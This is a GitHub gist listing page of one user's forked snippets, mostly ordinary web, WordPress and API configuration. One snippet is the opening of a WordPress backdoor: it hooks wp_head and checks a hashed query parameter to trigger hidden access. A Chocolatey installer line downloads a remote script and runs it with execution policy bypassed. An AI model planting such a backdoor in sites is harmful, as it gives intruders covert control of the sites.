Skip to content

Instantly share code, notes, and snippets.

@bahattab
bahattab / Hosts File To Block Shock Sites
Last active Jun 3, 2022 — forked from consti/hosts
/etc/hosts to block shock sites etc.
View Hosts File To Block Shock Sites
# This hosts file is brought to you by Dan Pollock and can be found at
# http://someonewhocares.org/hosts/
# You are free to copy and distribute this file for non-commercial uses,
# as long the original URL and attribution is included.
#<localhost>
127.0.0.1 localhost
127.0.0.1 localhost.localdomain
255.255.255.255 broadcasthost
::1 localhost
@bahattab
bahattab / .htaccess
Created Oct 2, 2021 — forked from vielhuber/.htaccess
Apache: htaccess force www and https ssl #server
View .htaccess
# force HTTPS and www.
RewriteEngine On
RewriteCond %{HTTP_HOST} (?!^www\.)^(.+)$ [OR]
RewriteCond %{HTTPS} off
RewriteRule ^ https://www.%1%{REQUEST_URI} [R=301,L]
# alternative way
RewriteCond %{HTTP_HOST} !^$
RewriteCond %{HTTP_HOST} !^www\. [NC]
@bahattab
bahattab / DNS Prefetch domains
Created Aug 6, 2020 — forked from lukecav/DNS Prefetch domains
WP Rocket - Advanced Options Prefetch DNS requests
View DNS Prefetch domains
//maps.googleapis.com
//maps.gstatic.com
//fonts.googleapis.com
//fonts.gstatic.com
//ajax.googleapis.com
//apis.google.com
//google-analytics.com
//www.google-analytics.com
//ssl.google-analytics.com
//youtube.com
@bahattab
bahattab / Create a backdoor to a WordPress website - backdoor.php
Last active Aug 6, 2020 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
View Create a backdoor to a WordPress website - backdoor.php
<?php
# Create a backdoor to a WordPress website
# https://gist.github.com/jgalea/5724566
# https://gist.githubusercontent.com/jgalea/5724566/raw/2117df68c0c757c16a09e5274640cf2bb9f62f74/backdoor.php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
@bahattab
bahattab / functions.php
Created Jun 23, 2020 — forked from lukecav/functions.php
Disable Elementor overview dashboard widget in WordPress
View functions.php
function disable_elementor_dashboard_overview_widget() {
remove_meta_box( 'e-dashboard-overview', 'dashboard', 'normal');
}
add_action('wp_dashboard_setup', 'disable_elementor_dashboard_overview_widget', 40);
@bahattab
bahattab / NonAdmin.cmd
Created Dec 25, 2019 — forked from ferventcoder/NonAdmin.cmd
Installing Software as a Non-Administrator Using Chocolatey
View NonAdmin.cmd
:: Pick one of these two files (cmd or ps1)
:: Set directory for installation - Chocolatey does not lock
:: down the directory if not the default
SET INSTALLDIR=c:\ProgramData\chocoportable
setx ChocolateyInstall %INSTALLDIR%
:: All install options - offline, proxy, etc at
:: https://chocolatey.org/install
@powershell -NoProfile -ExecutionPolicy Bypass -Command "(iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))) >$null 2>&1" && SET PATH="%PATH%;%INSTALLDIR%\bin"
@bahattab
bahattab / _readme.md
Last active Aug 22, 2019 — forked from sorashi/_readme.md
Add CMD to Context Menu - Windows registry edit that adds Windows command-line, Powershell and optionally GIT Bash to directory context menu
View _readme.md

Registry edit that allows you to add Windows command-line, Powershell and/or GIT Bash to explorer context menu. source

@bahattab
bahattab / forms.html
Created Jul 19, 2019 — forked from MdKutubuddinSardar/forms.html
Receive Files in Google Drive
View forms.html
<!DOCTYPE html>
<html>
<head>
<base target="_blank">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Google File Upload by CTRLQ.org</title>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.5/css/materialize.min.css">
<style>
.disclaimer{width: 480px; color:#646464;margin:20px auto;padding:0 16px;text-align:center;font:400 12px Roboto,Helvetica,Arial,sans-serif}.disclaimer a{color:#009688}#credit{display:none}
@bahattab
bahattab / bloggerAPIExample.gs
Created Jul 19, 2019 — forked from mhawksey/bloggerAPIExample.gs
Code used in tutorial for setting up Blogger API with Google Apps Script
View bloggerAPIExample.gs
var CLIENT_ID = 'YOUR_CLIENT_ID';
var CLIENT_SECRET = 'YOUR_CLIENT_SECRET';
function getService() {
// Create a new service with the given name. The name will be used when
// persisting the authorized token, so ensure it is unique within the
// scope of the property store.
return OAuth2.createService('blogger')
// Set the endpoint URLs, which are the same for all Google services.
@bahattab
bahattab / gist:7ff91e607595d782dd23ffc09a5c0879
Last active Jul 19, 2019 — forked from avinashkoyyana/gist:7944221
ctrlq.org code - Copy YouTube playlists to your profile From amit Agarwal credit to amit source : http://ctrlq.org/code/19554-youtube-google-data-api
View gist:7ff91e607595d782dd23ffc09a5c0879
<?php
require_once 'php-google-api-client/src/Google_Client.php';
require_once 'php-google-api-client/src/Google_YouTubeService.php';
session_start();
$OAUTH2_CLIENT_ID = 'apps.googleusercontent.com';
$OAUTH2_CLIENT_SECRET = 'labnol';